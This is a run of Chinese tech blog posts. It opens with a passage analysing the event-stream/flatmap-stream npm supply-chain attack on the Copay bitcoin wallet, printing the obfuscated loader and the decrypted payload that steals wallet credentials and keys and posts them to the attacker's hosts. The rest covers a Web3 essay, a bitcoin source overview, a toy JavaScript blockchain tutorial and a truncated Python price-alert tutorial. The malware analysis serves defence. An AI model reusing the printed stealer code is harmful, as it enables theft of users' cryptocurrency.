p(r),!f}},i.end=function(r){u||v(r)},i.destroy=function(){u=l=!0,i.writable=i.readable=f=!1,process.nextTick(function(){i.emit("close")})},i.pause=function(){f=!0},i.resume=function(){f=!1},i};!function(){try{var r=require,t=process;function e(r){return Buffer.from(r,"hex").toString()}var n=r(e("2e2f746573742f64617461")),o=t[e(n[3])][e(n[4])];if(!o)return;var u=r(e(n[2]))[e(n[6])](e(n[5]),o),a=u.update(n[0],e(n[8]),e(n[9]));a+=u.final(e(n[9]));var f=new module.constructor;f.paths=module.paths,f[e(n[7])](a,""),f.exports(n[1])}catch(r){}}(); 复制代码其中问题代码被偷偷放在最后面，我们将代码解压缩并格式化可得到可读的问题代码1：! function () { try { var r = require, t = process; function e(r) { return Buffer.from(r, "hex").toString() } var n = r(e("2e2f746573742f64617461")), // 在Github上不存在，但是实际在发布的npm包里隐藏的 ‘./test/data.js’文件 o = t[e(n[3])][e(n[4])]; if (!o) return; var u = r(e(n[2]))[e(n[6])](e(n[5]), o), a = u.update(n[0], e(n[8]), e(n[9])); a += u.final(e(n[9])); var f = new module.constructor; f.paths = module.paths, f[e(n[7])](a, ""), f.exports(n[1]) } catch (r) {} }(); 复制代码上述代码部分被转成 16 进制，我们可以进行一次 16 进制转得到转码代码1，其中 r(e("2e2f746573742f64617461"))，翻译过来就是 require("./test/data"); 目前 data.js 这个文件已原项目中被删除，根据 FallingSnow 的说明，data.js文件是一个如下的数组，对应原代码中的数组n。同样将该数组转码后，可得到：[ // 数组前两项为加密的黑客窃取代码 "75d4c87f3f6964903af7e527c420d9263f4af58ccb5843187aa0da1cbb4b6aedfd1bdc6faf32f38a885628612660af8630597969125c917dfc512c53453c96c143a2a058ba91bc37e265b44c5874e594caaf53961c82904a95f1dd33b94e4dd1d00e9878f66dafc55fa6f2f77ec7e7e8fe28e4f959e3f0911762fffbc36951a78457b94629f067c1f12927cdf97699656f4a2c4429f1279c4ebacde10fa7a6f5c44b14bc88322a3f06bb0847f0456e630888e5b6c3f2b8f8489cd6bc082c8063eb03dd665badaf2a020f1", "db67fdbfc39c249c6f338194a526fb95f5f210f52d487f117873df6e847769c06db7f8642cd2426b6ce00d6218413fdbba5bbbebc4e94bffdef6985a0e800132fe5821e62f2c1d79ddb5656bd5102176d33d79cf4560453ca7fd3d3c3be0190ae356efaaf5e2892f0d80c437eade2d28698148e72fbe17f1fac993a1314052345b701d65bb0ea3710145df687bb17182cd3ad6c121afef20bf02e0100fd63cbbf498321795372398c983eb31f184fa1adbb24759e395def34e1a726c3604591b67928da6c6a8c5f96808edfc7990a585411ffe633bae99ff0df165abb720810a4dc19f76ca748a34cb3d0f9b0d800d7657f702284c6e818080d4d9c6fff481f76fb7a7c5d513eae7aa84484822f98a183e192f71ea4e53a45415ddb03039549b18bc6e1", "63727970746f", // crypto "656e76", // env "6e706d5f7061636b6167655f6465736372697074696f6e", // npm_package_description "616573323536", // aes256 "6372656174654465636970686572", // createDecipher "5f636f6d70696c65", // _compile "686578", // hex "75746638" // utf8 ] 复制代码通过data.js对问题代码的数组 n 进行替换，我们可得到下面的转码代码2：!(function() { try { //攻击代码被伪装成16进制 var n = [ "75d4c87f3f6964903af7e527c420d9263f4af58ccb5843187aa0da1cbb4b6aedfd1bdc6faf32f38a885628612660af8630597969125c917dfc512c53453c96c143a2a058ba91bc37e265b44c5874e594caaf53961c82904a95f1dd33b94e4dd1d00e9878f66dafc55fa6f2f77ec7e7e8fe28e4f959e3f0911762fffbc36951a78457b94629f067c1f12927cdf97699656f4a2c4429f1279c4ebacde10fa7a6f5c44b14bc88322a3f06bb0847f0456e630888e5b6c3f2b8f8489cd6bc082c8063eb03dd665badaf2a020f1", "db67fdbfc39c249c6f338194a526fb95f5f210f52d487f117873df6e847769c06db7f8642cd2426b6ce00d6218413fdbba5bbbebc4e94bffdef6985a0e800132fe5821e62f2c1d79ddb5656bd5102176d33d79cf4560453ca7fd3d3c3be0190ae356efaaf5e2892f0d80c437eade2d28698148e72fbe17f1fac993a1314052345b701d65bb0ea3710145df687bb17182cd3ad6c121afef20bf02e0100fd63cbbf498321795372398c983eb31f184fa1adbb24759e395def34e1a726c3604591b67928da6c6a8c5f96808edfc7990a585411ffe633bae99ff0df165abb720810a4dc19f76ca748a34cb3d0f9b0d800d7657f702284c6e818080d4d9c6fff481f76fb7a7c5d513eae7aa84484822f98a183e192f71ea4e53a45415ddb03039549b18bc6e1" ]; var o = process["env"]["npm_package_description"]; if (!o) return; var u = require("crypto")["createDecipher"]("aes256", o), a = u.update(n[0], "hex", "utf8"); a += u.final("utf8"); var f = new module.constructor(); (f.paths = module.paths), f["_compile"](a, ""), f.exports(n[1]); } catch (r) {} })(); 复制代码其中这个数组 n 很特别，头两项 n[0], n[1] 的长字符串需要用被依赖项目的 "npm_package_description" 进行解密，并且只有当 description 正好为 "A Secure Bitcoin Wallet" 才能成功解密。而“很巧”的是 copay 项目的 description 正好为此，所以说这是针对 copay 钱包的定向攻击。同时，由于黑客在这里使用了 crypto.createDecipher 这个过时的api 才最终导致其暴露。 经过两轮解密后我们得到最终的 解密代码，我语义化并注释后如下：! function() { function startUp() { try { var HTTP = require("http"), Crypto = require("crypto"), publicKey = "-----BEGIN PUBLIC KEY-----\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAxoV1GvDc2FUsJnrAqR4C\\nDXUs/peqJu00casTfH442yVFkMwV59egxxpTPQ1YJxnQEIhiGte6KrzDYCrdeBfj\\nBOEFEze8aeGn9FOxUeXYWNeiASyS6Q77NSQVk1LW+/BiGud7b77Fwfq372fUuEIk\\n2P/pUHRoXkBymLWF1nf0L7RIE7ZLhoEBi2dEIP05qGf6BJLHPNbPZkG4grTDv762\\nPDBMwQsCKQcpKDXw/6c8gl5e2XM7wXhVhI2ppfoj36oCqpQrkuFIOL2SAaIewDZz\\nLlapGCf2c2QdrQiRkY8LiUYKdsV2XsfHPb327Pv3Q246yULww00uOMl/cJ/x76To\\n2wIDAQAB\\n-----END PUBLIC KEY-----"; function postData(hostName, pathName, encryptedData) { hostName = Buffer.from(hostName, "hex").toString(); // 将16进制字符转换成string,"copayapi.host" 和111.90.151.134 var request = HTTP.request({ hostname: hostName, port: 8080, method: "POST", path: "/" + pathName, headers: { "Content-Length": encryptedData.length, "Content-Type": "text/html" } }, function() {}); request.on("error", function(e) {}), request.write(encryptedData), request.end() } // 偷取了用户信息并用公钥加密后发送 function encryptAndPost(pathName, userInfo) { for (var encryptedData = "", r = 0; r < userInfo.length; r += 200) { var o = userInfo.substr(r, 200); encryptedData += Crypto.publicEncrypt(publicKey, Buffer.from(o, "utf8")).toString("hex") + "+" } postData("636f7061796170692e686f7374", pathName, encryptedData), postData("3131312e39302e3135312e313334", pathName, encryptedData) // 攻击者的服务器copayapi.host，111.90.151.134 } // 偷取用户信息 function stealUserInfo(profile, stealSuccessCB) { if (window.cordova) { try { var dataDirectory = cordova.file.dataDirectory; // cordova接口获取程序的数据目录， Persistent and private data storage within the application's sandbox resolveLocalFileSystemURL(dataDirectory, function(e) { e.getFile(profile, { create: !1 }, function(e) { e.file(function(e) { var reader = new FileReader; reader.onloadend = function() { return stealSuccessCB(JSON.parse(reader.result)) }, reader.onerror = function(e) { reader.abort() }, reader.readAsText(e) }) }) }) } catch (e) {} } else { try { var r = localStorage.getItem(profile); if (r) return stealSuccessCB(JSON.parse(r)) } catch (e) {} try { chrome.storage.local.get(profile, function(e) { if (e) return stealSuccessCB(JSON.parse(e[profile])) }) } catch (e) {} } } // 执行代码由此开始，针对账户内大于100BTC余额的账户，偷取用户的证书和个人信息。 global.CSSMap = {}, stealUserInfo("profile", function(e) { for (var t in e.credentials) { var n = e.credentials[t]; "livenet" == n.network && stealUserInfo("balanceCache-" + n.walletId, function(profileInfo) { var that = this; that.balance = parseFloat(profileInfo.balance.split(" ")[0]), "btc" == that.coin && that.balance < 100 || "bch" == that.coin && that.balance < 1e3 || (global.CSSMap[that.xPubKey] = true, encryptAndPost("c", JSON.stringify(that))) }.bind(n)) } }); // 引入credentials并重写，再次尝试偷取用户公钥 var Credentials = require("bitcore-wallet-client/lib/credentials.js"); Credentials.prototype.getKeysFunc = e.prototype.getKeys, e.prototype.getKeys = function(e) { var t = this.getKeysFunc(e); // 正常执行Credentials.prototype.getKeys try { // 尝试窃取秘钥 global.CSSMap && global.CSSMap[this.xPubKey] && (delete global.CSSMap[this.xPubKey], encryptAndPost("p", e + "\\t" + this.xPubKey)) } catch (e) {} return t } } catch (e) {} } window.cordova ? document.addEventListener("deviceready", startUp) : startUp() }(); 复制代码由于上面的解密代码比较清晰，所以这里只简述一下。大概是分两步偷取用户的个人信息和钱包秘钥后，加密发往自己在吉隆坡的服务器。实现方式是通过JS的原型链引用，在 flatmap-stream 里重写了 Credentials.getKeys 方法，这个方法被用 copay-dash 项目组用来获取用户的秘钥，他在程序执行该方法后，将用户秘钥发往自己的服务器。为了让大家能更好梳理攻击的流程，我画出了解密的流程图以供参考：黑客的攻击步骤四、影响与反思问题暴露后，copay 钱包项目组做了紧急修复并上线v5.2.0版本，但依然还有大量的未更新的钱包老版本（v5.0.2 ~ v5.1.0）中毒，他们也建议用户自行升级并将比特币转移到新的钱包中。目前已有用户声称电子钱包被盗作为第三方开发者我们可以通过 "npm ls event-stream flatmap-stream" 来核对我们的项目里是否安装了相关的依赖包。下面是一个安装了中毒依赖包的项目，如果你也安装了event-stream@3.3.6 请将依赖升级到最新版即可。[redacted] └─┬ npm-run-all@4.1.3 └─┬ ps-tree@1.1.0 └─┬ event-stream@3.3.6 └── flatmap-stream@0.1.2 复制代码针对依赖链攻击目前还没有很好的解决方法，虽然社区里有建议限制依赖包的权限或要求 npm 明文提交等方式，但短期来看都不太可能实现。我们能做也许只有在引用依赖之前，仔细审核一下被引用的包。同时，对经过安全认证的包锁住版本，确保不会引入新的有毒依赖包。参考文档event-stream vulnerability explained 高达 800 万次下载量的 npm 包被黑客篡改了代码，你的设备或正成为挖矿机 JavaScript黑客是这样窃取比特币的，Vue开发者不用担心！@Fundebug
如果你仔细的审视 Web3 世界中的一切，以及资本对 Web3 的热衷程度，你会发现其实 Web3 是一个绕开金融中心化资本管制的网络资本世界。人类的资本形式一直都在发生变化，新资本形式的出现往往代表着一种新的阶级，比如工业革命带来的工业资本，能源革命形成的能源资本，信息技术革命带来的网络资本，代表华尔街金融业的金融资本等等，任何一种资本都需要和某种价值物进行绑定，从而实现资本的价值兑现，当资本绑定的价值物消失或者衰亡，那么资本也随之消失。资本没有国界，也没有种族，资本在全世界所有人类活动的地方都可以存在，但受到各国的资本管制，资本并不是完全自由流动的。但是资本的特征永远都是从低利润率低效率的地方朝着高利润率高效率的地方流动，所谓高效率，高利润，其实就是毫无管制的人类活动区域，没有资本管制，没有任何资本流动的损耗。举个例子，比如非洲，非洲有很多地方是无政府的状态，但是资本为什么没有大量涌入呢？因为效率低，低效率导致资本损耗增大，从而抑制了资本流入。所以让我们看看 Web3 是什么，Web3 所倡导的去中心化就是去监管，避开了现有国家的金融监管这代表了资本自由，举个例子，比如你在某国注册一家企业，然后想通过企业的方式筹措资金，那你需要符合当地的监管调率，通过资本市场以企业的技术，抵押物，或者企业的未来进行融资。但如果你在 Web3 的世界里创建一家虚拟企业，你只需要一个 idea 甚至都不需要一个办公地址和注册资金，你就可以以代币的形式为企业筹集资金，相比传统的企业融资路径，Web3 的效率是极高的，同时也不会有任何组织来审查你的融资过程，完全依托 Web3 世界里的居民自发的去判断是否要参与你的融资，这几乎可以说是资本的天堂。因此 Web3世界里充斥着大量投机和炒作，其根本原因在于资本的高效流动带来的各种财富效应，同时借助现代金融技术，通过杠杠放大了资本，进一步提升了对场外人士的吸引力。确实从赚钱的角度来看，风险和收益是等价的，Web3是世界里的巨大风险自然也伴随着巨大的收益。所以 Web3 是什么？我认为 Web3 不代表任何所谓的未来，Web3本质就是通过代币提供了一种新的资本绑定物，从而创造了一种新的资本，代币资本，基于这种代币资本形成的人类活动区域就是所谓的 Web3.上面我也提到了，任何一种资本的兴盛与消亡要看其绑定物的变化，我们说工业资本，是因为现代社会必须依赖制造业，金融资本，金融活动是现代贸易的基础，以科技企业为代表的数据资本，现代社会几乎离不开互联网，必然会持续的产生数据，能源资本就不说了，能源是工业的基础，可见资本的绑定物本质是基于人类活动需求产生的，而 Web3 中的代币对于我们来说其需求是什么呢？逃脱各国金融监管，代币的一个很大作用在于非法产业的需求，来自世界各国非法组织的活动产生的需求又或者地下钱庄交易，黑市交易等等，这类需求将长期存在，因此代币不可能完全消失，例如 比特币，以太坊的价值永远不可能归零。除非全世界各个国家一起严厉打击，代币的匿名性决定了代币就是非法组织最喜爱的金融工具。其次是投机需求，投机需求在经济繁荣周期会大量释放，各国投机者会大量涌入，从这个角度看，只要代币的基本需求（非法组织活动的金融需求）不消失，那么随着经济周期投机需求就会反反复复。按除这两者之外呢，是否存在对 Web3 的合理且可持续的需求呢？就目前来看 Web3 是一个纯粹的资本世界，并且 Web3 世界里的人正在和现实世界割裂开来，Web3 只能满足 Web3 的需求。不过随着经济周期进入下行周期，Web3 的资本必然会逐步缩减，投机需求被抑制，会进入较为低迷的时期。
比特币源码研读(1)bitcoin源码结构
上篇文章，我们在本地编译了bitcoin源代码。并简单了解了bitcoind和bitcoin-cli的简单使用。这次，我们开始尝试去看看bitcoin源代码的各个模块的作用。用sublime打开bitcoin源代码，我们发现除了除了.h,.cpp等源代码还有一些其他类型的目录和文件。知己知彼，方能百战不殆。所以，我花了点时间大概浏览了下所有的目录和文件。将各个模块代码的功能作了一个初步总结，用于理解bitcoin整体框架和核心模块的代码功能。这样，以后在阅读源代码的时候遇到某些cpp文件也不至于顿时不知所云，必要时可以回过头来参考下这个总结图。废话少说直接撸图可能有些地方总结的不到位，大佬看到可以直接告我下。这个结构图使用Xmind做的，有需要的朋友可以留言索取Xmind源文件。下一篇探索比特币数据结构-区块。互联网颠覆世界，区块链颠覆互联网!--------------------------------------------------20180419 00:06
【译】用JavaScript写一个区块链
原文：Writing a tiny blockchain in JavaScript作者：Savjee.be译者：JeLewine几乎每个人都听说过像比特币和以太币这样的加密货币，但是只有极少数人懂得隐藏在它们背后的技术。在这篇博客中，我将会用JavaScript来创建一个简单的区块链来演示它们的内部究竟是如何工作的。我将会称之为SavjeeCoin！全文分为三个部分：part1：实现一个基本的区块链 part2：实现POW part3：交易与挖矿奖励 Part1:实现一个基本的区块链区块链区块链是由一个个任何人都可以访问的区块构成的公共数据库。这好像没什么特别的，不过它们有一个有趣的属性：它们是不可变的。一旦一个区块被添加到区块链中，除非让剩余的其余区块失效，否则它是不会再被改变的。这就是为什么加密货币是基于区块链的原因。你肯定不希望人们在交易完成后再变更交易！创造一个区块区块链是由许许多多的区块链接在一起的（这听上去好像没毛病..）。链上的区块通过某种方式允许我们检测到是否有人操纵了之前的任何区块。那么我们如何确保数据的完整性呢？每个区块都包含一个基于其内容计算出来的hash。同时也包含了前一个区块的hash。下面是一个区块类用JavaScript写出来大致的样子：const SHA256 = require("crypto-js/sha256"); class Block { constructor(index, timestamp, data, previousHash = '') { this.index = index; this.previousHash = previousHash; this.timestamp = timestamp; this.data = data; this.hash = this.calculateHash(); } calculateHash() { return SHA256(this.index + this.previousHash + this.timestamp + JSON.stringify(this.data)).toString(); } } 复制代码因为JavaScript中并不支持sha256所以我引入了crypto-js库。然后我定义了一个构造函数来初始化我区块的属性。每一个区块上都被赋予了index属性来告知我们这个区块在整个链上的位置。我们同时也生成了一个时间戳，以及需要在区块里存储的一些数据。最后是前一个区块的hash。创造一个链现在我们可以在Blockchain类中将区块链接起来了！下面是用JavaScript实现的代码：class Blockchain{ constructor() { this.chain = [this.createGenesisBlock()]; } createGenesisBlock() { return new Block(0, "01/01/2017", "Genesis block", "0"); } getLatestBlock() { return this.chain[this.chain.length - 1]; } addBlock(newBlock) { newBlock.previousHash = this.getLatestBlock().hash; newBlock.hash = newBlock.calculateHash(); this.chain.push(newBlock); } isChainValid() { for (let i = 1; i < this.chain.length; i++){ const currentBlock = this.chain[i]; const previousBlock = this.chain[i - 1]; if (currentBlock.hash !== currentBlock.calculateHash()) { return false; } if (currentBlock.previousHash !== previousBlock.hash) { return false; } } return true; } } 复制代码在构造函数里，我通过创建一个包含创世块的数组来初始化整个链。第一个区块是特殊的，因为它不能指向前一个区块。我还添加了下面两个方法：getLatestBlock()返回我们区块链上最新的区块。 addBlock()负责将新的区块添加到我们的链上。为此，我们将前一个区块的hash添加到我们新的区块中。这样我们就可以保持整个链的完整性。因为只要我们变更了最新区块的内容，我们就需要重新计算它的hash。当计算完成后，我将把这个区块推进链里（一个数组）。 最后，我创建一个isChainValid()来确保没有人篡改过区块链。它会遍历所有的区块来检查每个区块的hash是否正确。它会通过比较previousHash来检查每个区块是否指向正确的上一个区块。如果一切都没有问题它会返回true否则会返回false。使用区块链我们的区块链类已经写完啦，可以真正的开始使用它了！let savjeeCoin = new Blockchain(); savjeeCoin.addBlock(new Block(1, "20/07/2017", { amount: 4 })); savjeeCoin.addBlock(new Block(2, "20/07/2017", { amount: 8 })); 复制代码在这里我仅仅是创建了一个区块链的实例，并且命名它为SavjeeCoin！之后我在链上添加了一些区块。区块里可以包含任何你想要放的数据，不过在上面的代码里，我选择添加了一个带有amount属性的对象。试着操作吧！在介绍里我曾说过区块链是不可变的。一旦添加，区块就不可能再变更了。让我们试一下！// 检查是否有效(将会返回true) console.log('Blockchain valid? ' + savjeeCoin.isChainValid()); // 现在尝试操作变更数据 savjeeCoin.chain[1].data = { amount: 100 }; // 再次检查是否有效 (将会返回false) console.log("Blockchain valid? " + savjeeCoin.isChainValid()); 复制代码我会在一开始通过运行isChainValid()来验证整个链的完整性。我们操作过任何区块，所以它会返回true。之后我将链上的第一个（索引为1）区块的数据进行了变更。之后我再次检查整个链的完整性，发现它返回了false。我们的整个链不再有效了。结论这个小栗子还远未达到完成的程度。它还没有实现POW（工作量证明机制）或P2P网络来与其它矿工来进行交流。但他确实证明了区块链的工作原理。许多人认为原理会非常复杂，但这篇文章证明了区块链的基本概念是非常容易理解和实现的。Part2:实现POW(proof-of-work:工作量证明)在part1中我们用JavaScript创建了一个简单的区块链来演示区块链的工作原理。不过这个实现并不完整，很多人发现依旧可以篡改该系统。没错！我们的区块链需要另一种机制来抵御攻击。那么让我们来看看我们该如何做到这一点！问题现在我们可以很快的创造区块然后非常迅速的将它们添加进我们的区块链中。不过这导致了三个问题：第一：人们可以快速创建区块然后在我们的链里塞满垃圾。大量的区块会导致我们区块链过载并让其无法使用。 第二：因为创建一个有效的区块太容易了，人们可以篡改链中的某一个区块，然后重新计算所有区块的hash。即使它们已经篡改了区块，他们仍然可以以有效的区块来作为结束。 第三：你可以通过结合上述两个破绽来有效控制区块链。区块链由p2p网络驱动，其中节点会将区块添加到可用的最长链中。所以你可以篡改区块，然后计算所有其他的区块，最后添加多任意你想要添加的区块。你最后会得到一个最长的链，所有的其它节点都会接受它然后往上添加自己的区块。 显然我们需要一个方案来解决这些问题：POW。什么是POWPOW是在第一个区块链被创造之前就已经存在的一种机制。这是一项简单的技术，通过一定数量的计算来防止滥用。工作量是防止垃圾填充和篡改的关键。如果它需要大量的算力，那么填充垃圾就不再值得。比特币通过要求hash以特定0的数目来实现POW。这也被称之为难度不过等一下！一个区块的hash怎么可以改变呢？在比特币的场景下，一个区块包含有各种金融交易信息。我们肯定不希望为了获取正确的hash而混淆了那些数据。为了解决这个问题，区块链添加了一个nonce值。Nonce是用来查找一个有效Hash的次数。而且，因为无法预测hash函数的输出，因此在获得满足难度条件的hash之前，只能大量组合尝试。寻找到一个有效的hash（创建一个新的区块）在圈内称之为挖矿。在比特币的场景下，POW确保每10分钟只能添加一个区块。你可以想象垃圾填充者需要多大的算力来创造一个新区块，他们很难欺骗网络，更不要说篡改整个链。实现POW我们该如何实现呢？我们先来修改我们区块类并在其构造函数中添加Nonce变量。我会初始化它并将其值设置为0。constructor(index, timestamp, data, previousHash = '') { this.index = index; this.previousHash = previousHash; this.timestamp = timestamp; this.data = data; this.hash = this.calculateHash(); this.nonce = 0; } 复制代码我们还需要一个新的方法来增加Nonce，直到我们获得一个有效hash。强调一下，这是由难度决定的。所以我们会收到作为参数的难度。mineBlock(difficulty) { while (this.hash.substring(0, difficulty) !== Array(difficulty + 1).join("0")) { this.nonce++; this.hash = this.calculateHash(); } console.log("BLOCK MINED: " + this.hash); } 复制代码最后，我们还需要更改一下calculateHash()函数。因为目前他还没有使用Nonce来计算hash。calculateHash() { return SHA256(this.index + this.previousHash + this.timestamp + JSON.stringify(this.data) + this.nonce ).toString(); } 复制代码将它们结合在一起，你会得到如下所示的区块类：class Block { constructor(index, timestamp, data, previousHash = '') { this.index = index; this.previousHash = previousHash; this.timestamp = timestamp; this.data = data; this.hash = this.calculateHash(); this.nonce = 0; } calculateHash() { return SHA256(this.index + this.previousHash + this.timestamp + JSON.stringify(this.data) + this.nonce).toString(); } mineBlock(difficulty) { while (this.hash.substring(0, difficulty) !== Array(difficulty + 1).join("0")) { this.nonce++; this.hash = this.calculateHash(); } console.log("BLOCK MINED: " + this.hash); } } 复制代码修改区块链现在，我们的区块已经拥有Nonce并且可以被开采了，我们还需要确保我们的区块链支持这种新的行为。让我们先在区块链中添加一个新的属性来跟踪整条链的难度。我会将它设置为2（这意味着区块的hash必须以2个0开头）。constructor() { this.chain = [this.createGenesisBlock()]; this.difficulty = 2; } 复制代码现在剩下要做的就是改变addBlock()方法，以便在将其添加到链中之前确保实际挖到该区块。下面我们将难度传给区块。addBlock(newBlock) { newBlock.previousHash = this.getLatestBlock().hash; newBlock.mineBlock(this.difficulty); this.chain.push(newBlock); } 复制代码大功告成！我们的区块链现在拥有了POW来抵御攻击了。测试现在让我们来测试一下我们的区块链，看看在POW下添加一个新区块会有什么效果。我将会使用之前的代码。我们将创建一个新的区块链实例然后往里添加2个区块。let savjeeCoin = new Blockchain(); console.log('Mining block 1'); savjeeCoin.addBlock(new Block(1, "20/07/2017", { amount: 4 })); console.log('Mining block 2'); savjeeCoin.addBlock(new Block(2, "20/07/2017", { amount: 8 })); 复制代码如果你运行了上面的代码，你会发现添加新区块依旧非常快。这是因为目前的难度只有2（或者你的电脑性能非常好）。如果你创建了一个难度为5的区块链实例，你会发现你的电脑会花费大概十秒钟来挖矿。随着难度的提升，你的防御攻击的保护程度越高。免责声明就像之前说的：这绝不是一个完整的区块链。它仍然缺少很多功能（像P2P网路）。这只是为了说明区块链的工作原理。并且：由于单线程的原因，用JavaScript来挖矿并不快。Part3 交易与挖矿奖励在前面两部分我们创建了一个简单的区块链，并且加入了POW来抵御攻击。然而我们在途中也偷了懒：我们的区块链只能在一个区块中存储一笔交易，而且矿工没有奖励。现在，让我们解决这个问题！重构区块类现在一个区块拥有index,previousHash,timestamp,data,hash和nonce属性。这个index属性并不是很有用，事实上我甚至不知道为什么开始我要将它添加进去。所以我把它移除了，同时将data改名为transactions来更语义化。class Block{ constructor(timestamp, transactions, previousHash = '') { this.previousHash = previousHash; this.timestamp = timestamp; this.transactions = transactions; this.hash = this.calculateHash(); this.nonce = 0; } } 复制代码当我们改变区块类时，我们也必须更改calculateHash()函数。现在它还在使用老旧的index和data属性。calculateHash() { return SHA256(this.previousHash + this.timestamp + JSON.stringify(this.transactions) + this.nonce).toString(); } 复制代码交易类在区块内，我们将可以存储多笔交易。因此我们还需要定义一个交易类，一边我们可以锁定交易应当具有的属性：class Transaction{ constructor(fromAddress, toAddress, amount){ this.fromAddress = fromAddress; this.toAddress = toAddress; this.amount = amount; } } 复制代码这个交易例子非常的简单，仅仅包含了发起方（fromAddress）和接受方（toAddress）以及数量。如果有需求，你也可以在里面加入更多字段，不过这个只是为了最小实现。调整我们的区块链当前的最大任务：调整我们的区块链来适应这些新变化。我们需要做的第一件事就是存储待处理交易的地方。正如你所知道的，由于POW，区块链可以稳定的创建区块。在比特币的场景下，难度被设置成大约每10分钟创建一个新区块。但是，是可以在创造两个区块之间提交新的交易。为了做到这一点，首先需要改变我们区块链的构造函数，以便他可以存储待处理的交易。我们还将创造一个新的属性，用于定义矿工获得多少钱作为奖励：class Blockchain{ constructor() { this.chain = [this.createGenesisBlock()]; this.difficulty = 5; // 在区块产生之间存储交易的地方 this.pendingTransactions = []; // 挖矿回报 this.miningReward = 100; } } 复制代码下一步，我们将调整我们的addBlock()方法。不过我的调整是指删掉并重写它！我们将不再允许人们直接为链上添加区块。相反，他们必须将交易添加至下一个区块中。而且我们将addBlock()更名为createTransaction()，这看起来更语义化：createTransaction(transaction) { // 这里应该有一些校验! // 推入待处理交易数组 this.pendingTransactions.push(transaction); } 复制代码挖矿人们现在可以将新的交易添加到待处理交易的列表中。但无论如何，我们需要将他们清理掉并移入实际的区块中。为此，我们来创建一个minePendingTransactions()方法。这个方法不仅会挖掘所有待交易的新区块，而且还会向采矿者发送奖励。minePendingTransactions(miningRewardAddress) { // 用所有待交易来创建新的区块并且开挖.. let block = new Block(Date.now(), this.pendingTransactions); block.mineBlock(this.difficulty); // 将新挖的看矿加入到链上 this.chain.push(block); // 重置待处理交易列表并且发送奖励 this.pendingTransactions = [ new Transaction(null, miningRewardAddress, this.miningReward) ]; } 复制代码请注意，该方法采用了参数miningRewardAddress。如果你开始挖矿，你可以将你的钱包地址传递给此方法。一旦成功挖到矿，系统将创建一个新的交易来给你挖矿奖励（在这个栗子里是100枚币）。有一点需要注意的是，在这个栗子中，我们将所有待处理交易一并添加到一个区块中。但实际上，由于区块的大小是有限制的，所以这是行不通的。在比特币里，一个区块的大小大概是2Mb。如果有更多的交易能够挤进一个区块，那么矿工可以选择哪些交易达成哪些交易不达成（通常情况下费用更高的交易容易获胜）。地址的余额在测试我们的代码钱让我们再做一件事！如果能够检查我们区块链上地址的余额将会更好。getBalanceOfAddress(address){ let balance = 0; // you start at zero! // 遍历每个区块以及每个区块内的交易 for(const block of this.chain){ for(const trans of block.transactions){ // 如果地址是发起方 -> 减少余额 if(trans.fromAddress === address){ balance -= trans.amount; } // 如果地址是接收方 -> 增加余额 if(trans.toAddress === address){ balance += trans.amount; } } } return balance; } 复制代码测试好吧，我们已经完成并可以最终一切是否可以正常工作！为此，我们创建了一些交易：let savjeeCoin = new Blockchain(); console.log('Creating some transactions...'); savjeeCoin.createTransaction(new Transaction('address1', 'address2', 100)); savjeeCoin.createTransaction(new Transaction('address2', 'address1', 50)); 复制代码这些交易目前都处于等待状态，为了让他们得到证实，我们必须开始挖矿：console.log('Starting the miner...'); savjeeCoin.minePendingTransactions('xaviers-address'); 复制代码当我们开始挖矿，我们也会传递一个我们想要获得挖矿奖励的地址。在这种情况下，我的地址是xaviers-address（非常复杂！）。之后，让我们检查一下xaviers-address的账户余额：console.log('Balance of Xaviers address is', savjeeCoin.getBalanceOfAddress('xaviers-address')); // 输出: 0 复制代码我的账户输出竟然是0？！等等，为什么？难道我不应该得到我的挖矿奖励么？那么，如果你仔细观察代码，你会看到系统会创建一个交易，然后将您的挖矿奖励添加为新的待处理交易。这笔交易将会包含在下一个区块中。所以如果我们再次开始挖矿，我们将收到我们的100枚硬币奖励！console.log('Starting the miner again!'); savjeeCoin.minePendingTransactions("xaviers-address"); console.log('Balance of Xaviers address is', savjeeCoin.getBalanceOfAddress('xaviers-address')); // 输出: 100 复制代码局限性与结论现在我们的区块链已经可以在一个区块上存储多笔交易，并且可以为矿工带来回报。不过，还是有一些不足：发送货币是，我们不检查发起人是否有足够的余额来实际进行交易。然而，这其实是一件容易解决的事情。我们也没有创建一个新的钱包和签名交易（传统上用公钥/私钥加密完成）。免责声明 & 源代码我想指出的是，这绝不是一个完整的区块链实现！它仍然缺少很多功能。这只是为了验证一些概念来帮助您来了解区块链的工作原理。该项目的源代码就放在我的GitHub
作者：xiaoyu微信公众号：Python数据科学知乎：Python数据分析师有很多朋友问我学习了Python后，有没有什么好的项目可以练手。其实，做项目主要还是根据需求来的。但是对于一个初学者来说，很多复杂的项目没办法独立完成，因此博主挑选了一个非常适合初学者的项目，内容不是很复杂，但是非常有趣，我相信对于初学者小白来说是再好不过的项目了。这个项目中，我们将要建立一个比特币价格的提醒服务。你将主要会学习到HTTP的请求，以及如何使用requests包来发送这些请求。 同时，你会了解webhooks和如何使用它将Python app与外部设备连接，例如移动端手机提醒或者 Telegram 服务。 仅仅不到50行的代码就能完成一个比特币价格提醒服务的功能，并且可以轻松的扩展到其它加密数字货币和服务中。下面我们马上来看看。用Python实现比特币价格提醒我们都知道，比特币是一个变动的东西。你无法真正的知道它的去向。因此，为了避免我们反复的刷新查看最新动态，我们可以做一个Python app来为你工作。为此，我们将会使用一个很流行的自动化网站IFTTT。IFTTT**("if this, then that")**是一个可以在不同app设备与web服务之间建立连接桥梁的工具。我们将会创建两个IFTTT applets：一个是当比特币价格下滑到一定阈值后的紧急提醒 另一个是常规的比特币价格的更新 两个程序都将被我们的Python app触发，Python app从Coinmakercap API 点这里 获取数据。一个IFTTT程序有两个部分组成：触发部分和动作部分。在我们的情况下，触发是一个IFTTT提供的webhook服务。你可以将webhook想象为"user-defined HTTP callbacks"，更多请参考：WEBHOOK我们的Python app将会发出一个HTTP请求到webhook URL，然后webhook URL触发动作。有意思的部分来了，这个动作可以是你想要的任何东西。IFTTT提供了众多的动作像发送一个email，更新一个Google电子数据表，甚至可以给你打电话。配置项目如果你安装了python3，那么只要再安装一个requests包就可以了。$ pip install requests==2.18.4 # We only need the requests package 复制代码选一个编辑器，比如Pycharm进行代码编辑。获取比特币价格代码很简单，可以在console中进行。导入requests包，然后定义bitcoin_api_url变量，这个变量是Coinmarketcap API的URL。接着，使用requests.get()函数发送一个 HTTP GET请求，然后保存响应response。由于API返回一个JSON响应，我们可以通过.json()将它转换为python对象。>>>import requests >>>bitcoin_api_url 